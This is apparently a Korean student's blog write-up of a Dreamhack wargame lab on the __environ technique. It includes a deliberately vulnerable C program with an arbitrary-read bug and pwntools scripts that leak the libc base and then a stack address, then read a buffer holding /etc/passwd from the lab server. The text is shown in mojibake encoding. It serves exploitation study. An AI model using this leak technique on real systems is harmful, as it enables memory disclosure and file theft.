๐ŸŒ‡โ”‚System_Study/๐Ÿ“•โ”‚Dreamhack_Hacking

__environ

2022. 11. 13. 23:00
๋ชฉ์ฐจ
  1. Exploit Tech: __environ
  2. ํ™˜๊ฒฝ ๋ณ€์ˆ˜
  3. __environ
  4. exploit ์„ค๊ณ„
  5. Exploit code


Exploit Tech: __environ

ํ”„๋กœ๊ทธ๋žจ์—์„œ ๋ฆฌํ„ด ๋ช…๋ น์–ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ฉด lib์™€ ์ธ์ž์—์„œ ๋‹ค์–‘ํ•œ ํ•จ์ˆ˜ ํ˜ธ์ถœ!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// Name: environ.c
// Compile: gcc -o environ environ.c
 
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
 
void sig_handle() {
  exit(0);
}
 
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
 
  signal(SIGALRM, sig_handle);
  alarm(5);
}
 
void read_file() {
  char file_buf[4096];
 
  int fd = open("/etc/passwd", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
 
int main() {
  char buf[1024];
  long addr;
  int idx;
 
  init();
  read_file();
 
  printf("stdout: %p\n", stdout);
 
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}
Colored by Color Scripter
cs

ํ”„๋กœ์„ธ์Šค๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ณ , ํ•„์š”ํ•  ๋•Œ๋งˆ๋‹ค ๋ถˆ๋Ÿฌ์™€ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
์ด๋ฒˆ์—” lib ํ•จ์ˆ˜์—์„œ ์ฐธ์กฐํ•˜๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ํฌ์ธํ„ฐ์™€ ๊ด€๋ จ๋œ ๊ณต๊ฒฉ์„ ์‹ค์Šตํ•ฉ์‹œ๋‹ค.

/etc/passwd ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ฝ๊ณ  ์Šคํƒ ๋ฒ„ํผ์— ์ €์žฅํ•˜๋Š”๊ตฐ์š”
๋ฉ”์ธ ํ•จ์ˆ˜์—์„œ๋Š” stdout ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ , ๋ฐ˜๋ณตํ•ด ์ž„์˜ ์ฃผ์†Œ์— ์žˆ๋Š” ๊ฐ’์„

์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.


ํ™˜๊ฒฝ ๋ณ€์ˆ˜

๋ชจ๋“  ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ์กด์žฌํ•˜๊ธฐ์— ๋ชจ๋“  OS๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜(environment ariable)๋Š”
๋งค๋ฒˆ ๋ณ€ํ•  ์ˆ˜ ์žˆ๋Š” ๋™์ ์ธ ๊ฐ’๋“ค์˜ ๋ชจ์ž„์œผ๋กœ, ์‹œ์Šคํ…œ์˜ ์ •๋ณด๋ฅผ ๊ฐ–๊ณ  ์žˆ๋Š” ๋ณ€์ˆ˜์ž…๋‹ˆ๋‹ค.

์ด๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ง์ ‘ ์ถ”๊ฐ€ ๋ฐ ์ˆ˜์ •ํ•˜๊ฑฐ๋‚˜ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ’์ž…๋‹ˆ๋‹ค. ๋ฆฌ๋ˆ…์Šค์—์„œ ์ œ๊ณตํ•˜๋Š” ๋ช…๋ น์–ด๋“ค์€
'/bin', '/usr/bin'๋“ฑ์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ๋ช…์‹œ๋œ
dir์—์„œ ๋ช…๋ น์–ด๋ฅผ ํƒ์ƒ‰, ์‹คํ–‰ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ช…๋ น์–ด์˜ ๊ฒฝ๋กœ๋ฅผ ์ž…๋ ฅํ•˜์ง€ ์•Š์•„๋„ ๋ฉ๋‹ˆ๋‹ค.

ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋Š” ํ„ฐ๋ฏธ๋„ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ํ”„๋กœ๊ทธ๋žจ์—์„œ๋„ ์ฐธ์กฐ๋˜๊ธฐ์— ํ”„๋กœ๊ทธ๋žจ์—์„œ๋„
๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ข…์ข… ์žˆ์œผ๋ฉฐ, ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์ž…๋ ฅ X ๋ช…๋ น์–ด ์‹คํ–‰ ๊ฐ€๋Šฅ!
์ด ๋˜ํ•œ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋กœ๋“œํ•˜๋ฉด์„œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ดˆ๊ธฐํ™” ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

๋ฆฌ๋ˆ…์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ณต๊ฒฉํ•  ๋•Œ ์ƒํ™ฉ์— ๋”ฐ๋ผ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์•ผ ํ•  ๋•Œ๊ฐ€ ์ข…์ข… ์žˆ์Šต๋‹ˆ๋‹ค.

 ๊ทธ๋Ÿฌ๋‚˜ ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ฆฌ๋ˆ…์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์Šคํƒ ์ฃผ์†Œ๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๋ช…๋ น์–ด์˜ ๊ฒฝ๋กœ ์ž…๋ ฅ X ๋•Œ๋ฌธ์— ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์ „์—ญ ๋ณ€์ˆ˜์— ์ €์žฅํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ์žˆ์ง€ ์•Š๋Š” ํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ฃผ์†Œ ๋‚ด์—์„œ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์ฐพ๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ํ™˜๊ฒฝ๋ณ€์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด๋Š” ์Šคํƒ ์˜์—ญ์— ์กด์žฌํ•˜๋ฉฐ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ๋•Œ์—๋„ ํ•ด๋‹น ์ •๋ณด๋ฅผ ์ฐธ์กฐํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๊ฐ€ ๋ณ„๋„๋กœ ์„ ์–ธ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ, ํ•ด๋‹น ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ๊ณ , ์ž„์˜์˜ ์ฃผ์†Œ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค๋ฉด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

__environ

์œ„ ์ด๋ฏธ์ง€๋ฅผ ๋ณด์‹œ๋ฉด libc.so.6(docker์—์„œ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋Š”๊ฑฐ ๊ฐ™์€๋ฐ ๋„์ปค ํ™˜๊ฒฝ ๊ตฌ์ถ• ๋ฐ ๊ธฐํƒ€ ๊ณต๋ถ€.. ใ… )
environ ์‹ฌ๋ณผ์„ ์ฐพ๋Š” ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•œ ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.

์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ์‚ดํŽด๋ณด๋ฉด, __environ์ด๋ผ๋Š” ์ด๋ฆ„์˜ ์ „์—ญ ๋ณ€์ˆ˜๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
์ด๋Š” ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ execve ๊ณ„์—ด์˜ ํ•จ์ˆ˜์™€ getenv ๋“ฑ ํ™˜๊ฒฝ๋ณ€์ˆ˜์™€ ๊ด€๋ จ๋œ ํ•จ์ˆ˜ ์ฐธ์กฐ ๋ณ€์ˆ˜๋กœ
๊ทธ๋ ‡๋‹ค๋ฉด, ์•ž์„œ ์ปดํŒŒ์ผ ํ•œ ์˜ˆ์ œ๋ฅผ ๋””๋ฒ„๊น…ํ•˜์—ฌ ํ•ด๋‹น ํฌ์ธํ„ฐ์— ์–ด๋–ค ์ฃผ์†Œ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

๋งˆ์ง€๋ง‰์€.. ์ €๋ ‡๊ฒŒ ๋‚˜์˜ค๋ฉด ์•ˆ๋˜๋Š”๋ฐ ์œผ์Œ..

__environ ํฌ์ธํ„ฐ์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•˜๊ณ , ํ•ด๋‹น ์ฃผ์†Œ๊ฐ€ ๊ฐ€๋ฅดํ‚ค๋Š” ์˜์—ญ์„ ํ™•์ธํ•œ ๊ฒฐ๊ณผ์ž…๋‹ˆ๋‹ค.
์ด๋Š” ๋”๋ธ” ํฌ์ธํ„ฐ(!)๋กœ, ๊ฐ ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ๋ฌธ์ž์—ด์ด ํฌํ•จ๋œ ์ฃผ์†Œ๋ฅผ ๊ฐ–๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ,
ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ vmmap ๋ช…๋ น์–ด๋กœ ํ™•์ธํ•œ ๊ฒฐ๊ณผ ์Šคํƒ ์˜์—ญ์ž„์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋งŒ์•ฝ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ๊ณ , ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค๋ฉด..
์Šคํƒ ์ฃผ์†Œ๋ฅผ ๋ฆญํ•˜๊ณ  ๊ณต๊ฒฉ์— ์ด์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


exploit ์„ค๊ณ„

 __environ ์ฃผ์†Œ ๊ณ„์‚ฐ

์˜ˆ์ œ์—์„œ ์ œ๊ณตํ•œ stdout lib ํฌ์ธํ„ฐ๋ฅผ ํ†ตํ•ด ๋ฒ ์ด์Šค ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•˜๊ณ ,
__environ ํฌ์ธํ„ฐ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒ…๋‹ˆ๋‹ค. ์ด๋Š” ๊ฐ ์‹ฌ๋ณผ์˜ ์ฃผ์†Œ์™€ ์—ฐ์‚ฐํ•˜์—ฌ ์‰ฝ๊ฒŒ ์•Œ ์ˆ˜ ์žˆ์Œ!

์Šคํƒ ์ฃผ์†Œ ๊ณ„์‚ฐ

__environ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒˆ๋‹ค๋ฉด, ์˜ˆ์ œ์˜ ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ณ ,
"/etc/passwd" ํŒŒ์ผ์˜ ๋‚ด์šฉ์ด ์ €์žฅ๋œ ์Šคํƒ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค.

ํ•ด๋‹น ์ฃผ์†Œ๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜์™€ ์ƒ๋Œ€์ ์ธ ๊ฑฐ๋ฆฌ๊ฐ€ ๋งค๋ฒˆ ๊ฐ™์œผ๋ฏ€๋กœ, ๋””๋ฒ„๊น…์„ ํ†ตํ•ด ์•Œ์•„๋ด…์‹œ๋‹ค.

ํŒŒ์ผ ๋‚ด์šฉ ์ฝ๊ธฐ

ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ €์žฅํ•˜๊ณ  ์žˆ๋Š” ์Šคํƒ ๋ฒ„ํผ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒˆ๋‹ค๋ฉด,
์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์Šคํƒ ๋ฒ„ํผ๋ฅผ ์ถœ๋ ฅํ•˜์—ฌ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค


read_file() ํ•จ์ˆ˜์—์„œ flag์„ ์—ด๊ณ  ์ฝ๊ณ  ์žˆ๊ธฐ์— stdout์œผ๋กœ lib_base์™€ ์ด๋ฒˆ์—” ๋กœ๋”๊ฐ€ ์•„๋‹Œ
์Šคํƒ ์ธ์ž๋ฅผ ํ†ตํ•ด ์•Œ์•„๋ด…์‹œ๋‹ค. ์œ„ ์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋ฏ€๋กœ..
์œ„ ๋‚ด์šฉ์œผ๋กœ ๋”ฐ๋ผ๊ฐ„๋‹ค๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Exploit code

1. __environ ์ฃผ์†Œ ๊ณ„์‚ฐ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Name: environ.py
from pwn import *
 
p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
p.recvuntil(": ")
 
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
 
print(hex(libc_base))
print(hex(libc_environ))
 
p.interactive()
Colored by Color Scripter
cs

stdout ์ฃผ์†Œ๋ฅผ ํš๋“ํ•˜๊ณ , lib์—์„œ ํ•ด๋‹น ์‹ฌ๋ณผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ธ ๋’ค lib_base๋ฅผ ์•Œ์•„๋‚ด๊ณ ,
์ดํ›„ ์•ž์„œ ์•Œ์•„๋ณธ __environ ํฌ์ธํ„ฐ์˜ ์‹ฌ๋ณผ ์ฃผ์†Œ๋ฅผ ๋”ํ•ด ํ•ด๋‹น ํฌ์ธํ„ฐ๋„ ๊ตฌํ•ฉ์‹œ๋‹ค.

์œ„ ์ฝ”๋“œ๋Š” pwn๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ณ„์‚ฐํ•œ ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.


2. stack address solve

__environ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒˆ๋‹ค๋ฉด, ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๊ณ ,
์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํŒŒ์ผ์˜ ๋‚ด์šฉ์ด ์ €์žฅ๋œ ์Šคํƒ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ํŒŒ์ผ ๋‚ด์šฉ์ด ์ €์žฅ๋œ ์Šคํƒ ๋ฒ„ํผ์™€ __environ ๋ณ€์ˆ˜๊ฐ€ ๊ฐ€๋ฅดํ‚ค๋Š” ์Šคํƒ ์ฃผ์†Œ์˜ ๊ฑฐ๋ฆฌ ๊ฐ„๊ฒฉ์€..
์•„๋ž˜ ์ด๋ฏธ์ง€๋ฅผ ํ†ตํ•ด ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

01

์ฐธ๊ณ ๋กœ ๋งˆ์ง€๋ง‰์€(๋˜ ํ™˜๊ฒฝ ๋ฌธ์ œ.. ์ด๊ฑฐ ๊ณผ์ œ ๋๋‚ธ ํ›„ ๋‹ค์‹œ ํ•œ๋ฒˆ ์ „์ฒด์ ์œผ๋กœ ํ•ด๋ด์•ผ๊ฒ ๋„ค์š” ใ… )
0x1538๋กœ ๋‚˜์™€์•ผํ•ด์š”

๋‚˜๋จธ์ง€๋Š” ์ด๋ฏธ์ง€์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ธฐ์— ๋‹ค์Œ์œผ๋กœ ๋„˜์–ด๊ฐ‘์‹œ๋‹น


3. ํŒŒ์ผ ๋‚ด์šฉ ์ฝ๊ธฐ

๋‘ ์ฃผ์†Œ์˜ ๊ฐ„๊ฒฉ์„ ์•Œ์•„๋ƒˆ๋‹ค๋ฉด, __environ ์ฃผ์†Œ์—์„œ ๋‘ ์ฃผ์†Œ์˜ ๊ฐ„๊ฒฉ์ธ 0x1538์„
๋บ€ ์ฃผ์†Œ๋ฅผ ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Name: environ.py
from pwn import *
 
#p = process("./environ_exercise")
p = remote('host3.dreamhack.games', 10123)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
 
p.recvuntil(": ")
 
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
 
log.info(f'libc_base : {hex(libc_base)}')
log.info(f'libc_environ : {hex(libc_environ)}')
 
p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))
 
p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00")) 
#stack_environ = u64(p.recvuntil("\x7f").ljust(8, b"\x00"))
file_content = stack_environ - 0x1538
 
log.info(f'stack_environ: {hex(stack_environ)}')
log.info(f'file_content {hex(file_content)}')
 
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))
 
p.interactive()
Colored by Color Scripter
cs

์œ„์—๋Š” ์—ฌ๊ธฐ์„œ ํ•„์š”ํ•œ lib์˜ ์‹ฌ๋ณผ๊ฐ’ ๊ทธ๋ฆฌ๊ณ  leak์˜ ๊ตฌํ•œ ๋ชจ์Šต์ด๋ฉฐ, ์œ„์—์„œ ์„ค๋ช…ํ–ˆ์œผ๋ฉฐ,
1๋ฒˆ์„ ๋„ฃ์–ด์„œ ์ฃผ์†Œ ๊ฐ’์„ lib_base๋ฅผ ๋„ฃ์œผ๋ฉฐ ์ธ์ž์˜ ํฌ์ธํ„ฐ์˜ ์œ„์น˜์™€ ๊ทธ์ „์— ๊ตฌํ•œ
/etc/passwd ํŒŒ์ผ์˜ offset์˜ ๊ฑฐ๋ฆฌ๋ฅผ ๋นผ์„œ ๊ตฌํ•œ๋‹ค๋ฉด์š”

ํ•ด๋‹น ๊ตฌํ• ๋ ค๋Š” flag์˜ ํŒŒ์ผ์˜ ํฌ์ธํ„ฐ์˜ ์œ„์น˜ ์ฆ‰, ํ•ด๋‹น ํŒŒ์ผ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


์ฐธ๊ณ  ์ž๋ฃŒ

๋”๋ณด๊ธฐ

 

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

๋”๋ณด๊ธฐ

 

์ €์ž‘์žํ‘œ์‹œ ๋น„์˜๋ฆฌ ๋ณ€๊ฒฝ๊ธˆ์ง€ (์ƒˆ์ฐฝ์—ด๋ฆผ)

'๐ŸŒ‡โ”‚System_Study > ๐Ÿ“•โ”‚Dreamhack_Hacking' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

send_sig  (0) 2022.11.13
SigReturn-Oriented Programming  (0) 2022.11.13
Background: SigReturn-Oriented Programming  (0) 2022.11.13
Master Canary  (0) 2022.11.13
Exploit Tech: Master Canary  (0) 2022.11.13
  1. Exploit Tech: __environ
  2. ํ™˜๊ฒฝ ๋ณ€์ˆ˜
  3. __environ
  4. exploit ์„ค๊ณ„
  5. Exploit code
'๐ŸŒ‡โ”‚System_Study/๐Ÿ“•โ”‚Dreamhack_Hacking' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
  • send_sig
  • SigReturn-Oriented Programming
  • Background: SigReturn-Oriented Programming
  • Master Canary
Jastes
Jastes
Jastes
Jastes
Jastes
์ „์ฒด
์˜ค๋Š˜
์–ด์ œ
  • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ (178)
    • ๐Ÿ“šโ”‚War_Game (13)
      • ๐Ÿซโ”‚Genius_SW (3)
      • ๐Ÿ“–โ”‚CTF-d (1)
      • ๐Ÿ˜˜โ”‚CTF (2)
      • ๐Ÿ“‘โ”‚Contest (7)
    • ๐ŸŒ‡โ”‚System_Study (92)
      • ๐Ÿ“•โ”‚Dreamhack_Hacking (50)
      • ๐Ÿ“—โ”‚Dreamhack_Reversing (8)
      • ๐Ÿ“•โ”‚HackerSchool_FTZ (13)
      • ๐Ÿ“™โ”‚lazenca_Study (0)
      • ๐Ÿช™โ”‚Pwnable.kr (8)
      • ๐Ÿช™โ”‚Pwnable.tw (0)
      • ๐Ÿ”’โ”‚H4C_5๊ธฐ (10)
      • ๐Ÿ”โ”‚Etc.. (3)
    • ๐Ÿ”ฌโ”‚Reversing & Cryptography (3)
      • ๐Ÿ“•โ”‚CodeEnge (2)
      • ๐Ÿ”โ”‚Cryptography (0)
      • ๐Ÿ”โ”‚Etc.. (1)
    • ๐ŸŒ†โ”‚Web_Study (25)
      • ๐Ÿ“˜โ”‚Dreamhack_Hacking (5)
      • ๐Ÿ“–โ”‚Dreamhack_War_Game (4)
      • ๐Ÿ”ฌโ”‚DVWA (3)
      • ๐Ÿš โ”‚Lord_of_SQLInjection (4)
      • ๐ŸฅŠโ”‚pentestgym (8)
      • ๐Ÿ”โ”‚Etc.. (1)
    • ๐Ÿ’ปโ”‚IT_Study (30)
      • ๐Ÿ“ฐโ”‚DB_Study (2)
      • ๐ŸŽ“โ”‚SW_Engineering (4)
      • ๐Ÿ“Ÿโ”‚System_Study (6)
      • ๐Ÿ›ซโ”‚Web_Study (8)
      • ๐Ÿ“ปโ”‚network_study (1)
      • ๐Ÿ’พโ”‚AI (0)
      • ๐Ÿงญโ”‚CS_Study (0)
      • ๐Ÿ˜จโ”‚์–ต๊นŒ_๋ชจ์Œ (5)
      • ๐Ÿ”โ”‚Etc.. (4)
    • ๐Ÿ“‹โ”‚Study (10)
      • ๐Ÿค”โ”‚๋Œ€์™ธ ๊ต์œก (0)
      • ๐Ÿ˜โ”‚Step Mentoring (5)
      • ๐Ÿ˜˜โ”‚๐Ÿค”Security Mentoring (3)
      • ๐Ÿ“โ”‚Cover_letter (2)
    • ๐Ÿ˜˜โ”‚๐Ÿ˜’ Expansion_Society (5)
      • ๐Ÿ“šโ”‚Book report (1)
      • ๐Ÿ˜’โ”‚My_History (4)

๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

  • ํ™ˆ
  • ํƒœ๊ทธ
  • ๋ฐฉ๋ช…๋ก

๊ณต์ง€์‚ฌํ•ญ

์ธ๊ธฐ ๊ธ€

ํƒœ๊ทธ

์ตœ๊ทผ ๋Œ“๊ธ€

์ตœ๊ทผ ๊ธ€

hELLO ยท Designed By github ์ฐธ๊ณ 
Jastes
__environ
์ƒ๋‹จ์œผ๋กœ

ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”

๋‹จ์ถ•ํ‚ค

๋‚ด ๋ธ”๋กœ๊ทธ

๋‚ด ๋ธ”๋กœ๊ทธ - ๊ด€๋ฆฌ์ž ํ™ˆ ์ „ํ™˜
Q
Q
์ƒˆ ๊ธ€ ์“ฐ๊ธฐ
W
W

๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๊ธ€

๊ธ€ ์ˆ˜์ • (๊ถŒํ•œ ์žˆ๋Š” ๊ฒฝ์šฐ)
E
E
๋Œ“๊ธ€ ์˜์—ญ์œผ๋กœ ์ด๋™
C
C

๋ชจ๋“  ์˜์—ญ

์ด ํŽ˜์ด์ง€์˜ URL ๋ณต์‚ฌ
S
S
๋งจ ์œ„๋กœ ์ด๋™
T
T
ํ‹ฐ์Šคํ† ๋ฆฌ ํ™ˆ ์ด๋™
H
H
๋‹จ์ถ•ํ‚ค ์•ˆ๋‚ด
Shift + /
โ‡ง + /

* ๋‹จ์ถ•ํ‚ค๋Š” ํ•œ๊ธ€/์˜๋ฌธ ๋Œ€์†Œ๋ฌธ์ž๋กœ ์ด์šฉ ๊ฐ€๋Šฅํ•˜๋ฉฐ, ํ‹ฐ์Šคํ† ๋ฆฌ ๊ธฐ๋ณธ ๋„๋ฉ”์ธ์—์„œ๋งŒ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.